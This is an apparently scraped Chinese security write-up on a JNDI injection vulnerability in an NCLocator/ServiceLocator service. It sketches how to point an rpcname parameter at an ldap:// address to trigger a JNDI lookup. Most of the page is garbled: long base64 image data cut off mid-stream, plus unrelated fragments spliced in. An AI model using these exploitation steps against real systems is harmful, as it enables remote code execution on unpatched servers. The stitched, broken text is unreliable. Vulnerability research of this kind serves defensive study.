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<p>调用getInstance().doGetService(name);<br>
doGetService函数如下,NCLocator.getInstance()看起来好熟悉,在哪个漏洞接口见过。</p>
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104937-fff7c24c-df51-1.png title><img src="data:image/png;base64,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<p>rpcname直接设置为ldap://xxx,method和params随便设置即可,因为反射调用找不到方法导致报错是后面的事了。<br>
直接发,获取到请求,接着打jndi就行。</p>
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105057-2f8aae66-df52-1.png><img src=data:image/png;base64,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 truncated
<h2 id=toc-2>0x02</h2>
<p>由于描述说的是文件上传,查了下ServiceLocator.getService,叫做服务定位器模式,这看起来像JNDI的样子</p>
<pre><code>服务定位模式(Service Locator Pattern)是一种设计模式,用于解耦客户端和服务的依赖关系。在服务定位模式中,一个中心的服务定位器(Service Locator)负责管理和提供服务的实例,客户端通过服务定位器来获取所需的服务,即能够在不知道抽象类的具体类型的情况下定位到服务。</code></pre>
<p>例子如下图所示</p>
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105128-42537a5a-df52-1.png title><img src="data:image/png;base64,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